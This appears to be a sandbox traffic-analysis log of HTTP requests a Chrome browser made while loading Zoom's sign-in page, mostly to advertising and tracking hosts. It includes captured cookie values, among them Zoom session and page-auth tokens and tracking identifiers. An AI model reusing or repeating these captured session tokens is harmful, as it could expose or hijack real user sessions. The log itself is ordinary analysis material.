Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=18&expiry=1757890972&external_user_id=0b5a6432-5489-4c19-b155-757ad1337ee8&C=1 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: CMID=Z9S1nUt3uY4AIKq7AKTDpQAA; CMPS=470; CMPRO=470
Source: global traffic	HTTP traffic detected: GET /activityi;src=9513928;type=rmktp0;cat=rmkt-0;ord=1418350171161;npa=0;auiddc=535026956.1741993368;u7=%2Fsignin;u9=unclassified;ps=1;pcor=1291511231;uaa=x86;uab=64;uafvl=Chromium%3B134.0.6998.36%7CNot%253AA-Brand%3B24.0.0.0%7CGoogle%2520Chrome%3B134.0.6998.36;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=label_only_3;frm=0;_tu=Kg;gtm=45fe53d0v9189923985z871201097za201zb886803496;gcd=13l3l3l3l1l1;dma=0;dc_fmt=1;tag_exp=102482433~102587591~102717422~102788824~102813109~102814060~102825837~102879719;epver=2;~oref=https%3A%2F%2Fzoom.us%2Fsignin? HTTP/1.1Host: 9513928.fls.doubleclick.netConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Browser-Channel: stableX-Browser-Year: 2025X-Browser-Validation: wTKGXmLo+sPWz1JKKbFzUyHly1Q=X-Browser-Copyright: Copyright 2025 Google LLC. All rights reserved.X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiKo8sBCIWgzQEY4eLOAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td/fls/rul/activityi;fledge=1;src=9513928;type=rmktp0;cat=rmkt-0;ord=1418350171161;npa=0;auiddc=535026956.1741993368;u7=%2Fsignin;u9=unclassified;ps=1;pcor=1291511231;uaa=x86;uab=64;uafvl=Chromium%3B134.0.6998.36%7CNot%253AA-Brand%3B24.0.0.0%7CGoogle%2520Chrome%3B134.0.6998.36;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=label_only_3;frm=0;_tu=Kg;gtm=45fe53d0v9189923985z871201097za201zb886803496;gcd=13l3l3l3l1l1;dma=0;dc_fmt=9;tag_exp=102482433~102587591~102717422~102788824~102813109~102814060~102825837~102879719;epver=2;~oref=https%3A%2F%2Fzoom.us%2Fsignin? HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Browser-Channel: stableX-Browser-Year: 2025X-Browser-Validation: wTKGXmLo+sPWz1JKKbFzUyHly1Q=X-Browser-Copyright: Copyright 2025 Google LLC. All rights reserved.X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiKo8sBCIWgzQEY4eLOAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=9513928;type=rmktp0;cat=rmkt-0;ord=1418350171161;npa=0;auiddc=535026956.1741993368;u7=%2Fsignin;u9=unclassified;ps=1;pcor=1291511231;uaa=x86;uab=64;uafvl=Chromium%3B134.0.6998.36%7CNot%253AA-Brand%3B24.0.0.0%7CGoogle%2520Chrome%3B134.0.6998.36;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=label_only_3;frm=0;_tu=Kg;gtm=45fe53d0v9189923985z871201097za201zb886803496;gcd=13l3l3l3l1l1;dma=0;dc_fmt=10;tag_exp=102482433~102587591~102717422~102788824~102813109~102814060~102825837~102879719;epver=2;~oref=https%3A%2F%2Fzoom.us%2Fsignin? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Attribution-Reporting-Eligible: trigger, event-source=navigation-sourceAttribution-Reporting-Support: webX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiKo8sBCIWgzQEY4eLOAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel/646471568696bfecca709322/?iszitag=true HTTP/1.1Host: ws.zoominfo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _cfuvid=Xb89yjrlN359nUaLNkvnED_schS50Xp20c6Rv0NTNKc-1741993373994-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /collect?v=2&fmt=js&pid=1476716&time=1741993369691&li_adsId=672e0618-ccf5-49dc-80ca-39d838ec8411&url=https%3A%2F%2Fzoom.us%2Fsignin%23%2Flogin&cookiesTest=true&liSync=true HTTP/1.1Host: px.ads.linkedin.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: li_sugr=6b210a4f-34b1-4f9c-9bf4-5f0680cee693; ar_debug=1; lidc="b=TGST03:s=T:r=T:a=T:p=T:g=3448:u=1:x=1:i=1741993373:t=1742079773:v=2:sig=AQGMlXvdpSGus2j5knqHQlgDlHyaFnCm"; UserMatchHistory=AQJBv6DnyPo8mQAAAZWW5W4aNFRXvymKS14L085zRQQfzU6ofrHUBVlVzgblw8egbtv7eRtZueOWOw; AnalyticsSyncHistory=AQKu-zxs2Iz46QAAAZWW5W4aN3pSY4VMtKmuA7h9msNs94zLpvbq8aWTkJJSxsEy1Occ9FMfeW2ACnbrM3ysRA; bcookie="v=2&5eb86965-0626-4734-87a2-c6d376db2c7e"; __cf_bm=YqNmeIRR3grgXYSRGwUCypg0ezc5OkDMgyWiGg1fpnk-1741993374-1.0.1.1-DTIMx6W4lkT1ziAKfwsRDUwQj5wk.FZVmI0s5TwS76IJgW2V99LXfGBhRxUSxVB5fDoVZGrycfJzyIDWjlXqxUedRz8KysLO24CIXR3YYkg
Source: global traffic	HTTP traffic detected: GET /sync?UIDM=0b5a6432-5489-4c19-b155-757ad1337ee8 HTTP/1.1Host: partners.tremorhub.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: tvid=ba7f4516360c4a18ba679c800d2ed5b3; tv_UIDM=0b5a6432-5489-4c19-b155-757ad1337ee8
Source: global traffic	HTTP traffic detected: GET /up_loader.1.1.0.js HTTP/1.1Host: js.adsrvr.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=18&expiry=1757890972&external_user_id=0b5a6432-5489-4c19-b155-757ad1337ee8&C=1 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: CMID=Z9S1nUt3uY4AIKq7AKTDpQAA; CMPS=470; CMPRO=470
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/927508153/?random=1741993372760&cv=11&fst=1741993200000&bg=ffffff&guid=ON&async=1&gtm=45be53d0v880891040z871201097za201zb886803496&gcd=13l3l3l3l1l1&dma=0&tag_exp=102482433~102587591~102717422~102788824~102813109~102814060~102825837~102879719&u_w=1280&u_h=1024&url=https%3A%2F%2Fzoom.us%2Fsignin&ref=https%3A%2F%2Fdanse94.com%2F&label=1hQFCN-QqK4DELnNoroD&hn=www.googleadservices.com&frm=0&tiba=Sign%20In%20%7C%20Zoom&npa=0&pscdl=label_only_3&auid=535026956.1741993368&uaa=x86&uab=64&uafvl=Chromium%3B134.0.6998.36%7CNot%253AA-Brand%3B24.0.0.0%7CGoogle%2520Chrome%3B134.0.6998.36&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&_tu=Cg&rfmt=3&fmt=3&is_vtc=1&cid=CAQSGwCjtLzM9ilxG1Bnoa91Oa6ygfqWqg58IxDOtQ&random=2911596321&rmt_tld=0&ipr=y HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiKo8sBCIWgzQEY4eLOAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tap.php?nid=5578&put=0b5a6432-5489-4c19-b155-757ad1337ee8&v=1181926 HTTP/1.1Host: pixel.rubiconproject.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: khaos=M89DVLSY-1T-EZYA; audit=1\|beYZ0EQ8sf69amn+FPFD+9uyQTZBXZ8/GnOpehJyJ7zlGNsBp+KQQeUgHI32iyhjLzviyxxuFAaM1KxoLazIt5mwZQnb46mpoMyVypDzKOyUwb5lHWD6uZEZmy+yTYt+KKgNg/ZIs+ryCDHfAXx0BD/R0ELEsty6cmESKmf2cwrTmoFL5pKQsaZr5ZVxLWDe
Source: global traffic	HTTP traffic detected: GET /nws/join/logger/felog HTTP/1.1Host: log-gateway.zoom.usConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM; wULrMv6t=AzRD5ZaVAQAAXQGduE3VSEsoST3VcxMa8OG2THvJesS1M65XIzbS_dBnN0mQAQgue72uckX5wH8AAEB3AAAAAA\|1\|0\|9420f7af00989b7f57feb71875f2e224733e93af; _zm_page_auth=aw1_c_hAj0pbG2Q7uPDIYfLOq8UA; _zm_lang=en-US; _zm_cdn_blocked=unlog_unblk; _zm_fingerprint=d5140acb3fb35cc80ba236bdb3bf654d; _gcl_au=1.1.535026956.1741993368; optimizelySession=1741993368502; OnetrustActiveGroups=C0004C0003C0002C0001; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Mar+14+2025+19%3A02%3A49+GMT-0400+(Eastern+Daylight+Time)&version=6.21.0&isIABGlobal=false&hosts=&consentId=c27e3fdb-4697-492f-8669-586bc41c9863&interactionCount=0&landingPath=https%3A%2F%2Fzoom.us%2Fsignin%23%2Flogin&groups=C0004%3A1%2CC0003%3A1%2CC0002%3A1%2CC0001%3A1; _yjsu_yjad=1741993371.8b0b14fb-2c18-4fa1-9f55-bd4a4327b6ff; IR_gbd=zoom.us; IR_17910=1741993371241%7Cc-36843%7C1741993371241%7C%7C; _uetsid=7477a3c0012811f0a38a71c87b0a1b12; _uetvid=7477d170012811f09b7cc529f7ba3633; _zm_tracking_guid=50f34aff30264ad7a90f14ac2386dd3a; _zitok=a3d27947185a7a66ae721741993372; IR_PI=75389ff5-0128-11f0-9e63-79482468d069%7C1741993371241; _fbp=fb.1.1741993372822.542583113418791011; _zm_billing_visitor_guid=0c9c097bc2c4470786e1309eb41f3714
Source: global traffic	HTTP traffic detected: GET /tr/?id=4633436110010443&ev=PageView&dl=https%3A%2F%2Fzoom.us&rl=https%3A%2F%2Fdanse94.com&if=false&ts=1741993372838&sw=1280&sh=1024&v=2.9.187&r=stable&ec=0&o=12318&fbp=fb.1.1741993372822.542583113418791011&pm=1&hrl=93d060&ler=other&it=1741993369968&coo=false&dpo=LDU&dpoco=0&dpost=0&cs_cc=1&cs_cc=1&cas=25605033162476828%2C5910703695705685%2C6339461992733528%2C5281517978617108%2C5839664432782368%2C8645844098774424%2C4466317863437391&cas=25605033162476828%2C5910703695705685%2C6339461992733528%2C5281517978617108%2C5839664432782368%2C8645844098774424%2C4466317863437391&cdl=label_only_3&exp=k0&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=4633436110010443&ev=PageView&dl=https%3A%2F%2Fzoom.us&rl=https%3A%2F%2Fdanse94.com&if=false&ts=1741993372838&sw=1280&sh=1024&v=2.9.187&r=stable&ec=0&o=12318&fbp=fb.1.1741993372822.542583113418791011&pm=1&hrl=93d060&ler=other&it=1741993369968&coo=false&dpo=LDU&dpoco=0&dpost=0&cs_cc=1&cs_cc=1&cas=25605033162476828%2C5910703695705685%2C6339461992733528%2C5281517978617108%2C5839664432782368%2C8645844098774424%2C4466317863437391&cas=25605033162476828%2C5910703695705685%2C6339461992733528%2C5281517978617108%2C5839664432782368%2C8645844098774424%2C4466317863437391&cdl=label_only_3&exp=k0&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /collect?v=2&fmt=js&pid=1476716&time=1741993369691&li_adsId=672e0618-ccf5-49dc-80ca-39d838ec8411&url=https%3A%2F%2Fzoom.us%2Fsignin%23%2Flogin&cookiesTest=true&liSync=true HTTP/1.1Host: px.ads.linkedin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: li_sugr=6b210a4f-34b1-4f9c-9bf4-5f0680cee693; ar_debug=1; lidc="b=TGST03:s=T:r=T:a=T:p=T:g=3448:u=1:x=1:i=1741993373:t=1742079773:v=2:sig=AQGMlXvdpSGus2j5knqHQlgDlHyaFnCm"; UserMatchHistory=AQJBv6DnyPo8mQAAAZWW5W4aNFRXvymKS14L085zRQQfzU6ofrHUBVlVzgblw8egbtv7eRtZueOWOw; AnalyticsSyncHistory=AQKu-zxs2Iz46QAAAZWW5W4aN3pSY4VMtKmuA7h9msNs94zLpvbq8aWTkJJSxsEy1Occ9FMfeW2ACnbrM3ysRA; bcookie="v=2&5eb86965-0626-4734-87a2-c6d376db2c7e"; __cf_bm=YqNmeIRR3grgXYSRGwUCypg0ezc5OkDMgyWiGg1fpnk-1741993374-1.0.1.1-DTIMx6W4lkT1ziAKfwsRDUwQj5wk.FZVmI0s5TwS76IJgW2V99LXfGBhRxUSxVB5fDoVZGrycfJzyIDWjlXqxUedRz8KysLO24CIXR3YYkg
Source: global traffic	HTTP traffic detected: GET /activityi;dc_pre=CPjkvILXiowDFUSJgwcdaLYfsw;src=9513928;type=rmktp0;cat=rmkt-0;ord=1418350171161;npa=0;auiddc=535026956.1741993368;u7=%2Fsignin;u9=unclassified;ps=1;pcor=1291511231;uaa=x86;uab=64;uafvl=Chromium%3B134.0.6998.36%7CNot%253AA-Brand%3B24.0.0.0%7CGoogle%2520Chrome%3B134.0.6998.36;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=label_only_3;frm=0;_tu=Kg;gtm=45fe53d0v9189923985z871201097za201zb886803496;gcd=13l3l3l3l1l1;dma=0;dc_fmt=1;tag_exp=102482433~102587591~102717422~102788824~102813109~102814060~102825837~102879719;epver=2;~oref=https%3A%2F%2Fzoom.us%2Fsignin? HTTP/1.1Host: 9513928.fls.doubleclick.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Browser-Channel: stableX-Browser-Year: 2025X-Browser-Validation: wTKGXmLo+sPWz1JKKbFzUyHly1Q=X-Browser-Copyright: Copyright 2025 Google LLC. All rights reserved.X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiKo8sBCIWgzQEY4eLOAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=9513928;type=rmktp0;cat=rmkt-0;ord=1418350171161;npa=0;auiddc=535026956.1741993368;u7=%2Fsignin;u9=unclassified;ps=1;pcor=1291511231;uaa=x86;uab=64;uafvl=Chromium%3B134.0.6998.36%7CNot%253AA-Brand%3B24.0.0.0%7CGoogle%2520Chrome%3B134.0.6998.36;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=label_only_3;frm=0;_tu=Kg;gtm=45fe53d0v9189923985z871201097za201zb886803496;gcd=13l3l3l3l1l1;dma=0;dc_fmt=10;tag_exp=102482433~102587591~102717422~102788824~102813109~102814060~102825837~102879719;epver=2;~oref=https%3A%2F%2Fzoom.us%2Fsignin? HTTP/1.1Host: ad.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiKo8sBCIWgzQEY4eLOAQ==Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /formcomplete-v2/forms HTTP/1.1Host: ws.zoominfo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _cfuvid=Xb89yjrlN359nUaLNkvnED_schS50Xp20c6Rv0NTNKc-1741993373994-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /track/up?adv=zqwm10r&ref=https%3A%2F%2Fzoom.us%2Fsignin%23%2Flogin&upid=la5n4xj&upv=1.1.0&paapi=1 HTTP/1.1Host: insight.adsrvr.orgConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/927508153/?random=1741993372760&cv=11&fst=1741993200000&bg=ffffff&guid=ON&async=1&gtm=45be53d0v880891040z871201097za201zb886803496&gcd=13l3l3l3l1l1&dma=0&tag_exp=102482433~102587591~102717422~102788824~102813109~102814060~102825837~102879719&u_w=1280&u_h=1024&url=https%3A%2F%2Fzoom.us%2Fsignin&ref=https%3A%2F%2Fdanse94.com%2F&label=1hQFCN-QqK4DELnNoroD&hn=www.googleadservices.com&frm=0&tiba=Sign%20In%20%7C%20Zoom&npa=0&pscdl=label_only_3&auid=535026956.1741993368&uaa=x86&uab=64&uafvl=Chromium%3B134.0.6998.36%7CNot%253AA-Brand%3B24.0.0.0%7CGoogle%2520Chrome%3B134.0.6998.36&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&_tu=Cg&rfmt=3&fmt=3&is_vtc=1&cid=CAQSGwCjtLzM9ilxG1Bnoa91Oa6ygfqWqg58IxDOtQ&random=2911596321&rmt_tld=0&ipr=y HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiKo8sBCIWgzQEY4eLOAQ==Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/upb/?adv=zqwm10r&ref=https%3A%2F%2Fzoom.us%2Fsignin%23%2Flogin&upid=la5n4xj&upv=1.1.0&paapi=1 HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: TDID=fc13dfcb-c455-44c0-accf-f1bf9a0bbc0c
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CPjkvILXiowDFUSJgwcdaLYfsw;src=9513928;type=rmktp0;cat=rmkt-0;ord=1418350171161;npa=0;auiddc=;u7=%2Fsignin;u9=unclassified;ps=1;pcor=1291511231;uaa=x86;uab=64;uafvl=Chromium%3B134.0.6998.36%7CNot%253AA-Brand%3B24.0.0.0%7CGoogle%2520Chrome%3B134.0.6998.36;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=label_only_3;frm=0;_tu=Kg;gtm=45fe53d0v9189923985z871201097za201zb886803496;gcd=13l3l3l3l1l1;dma=0;dc_fmt=1;tag_exp=102482433~102587591~102717422~102788824~102813109~102814060~102825837~102879719;epver=2;~oref=https%3A%2F%2Fzoom.us%2Fsignin HTTP/1.1Host: adservice.google.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiKo8sBCIWgzQEY4eLOAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://9513928.fls.doubleclick.net/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
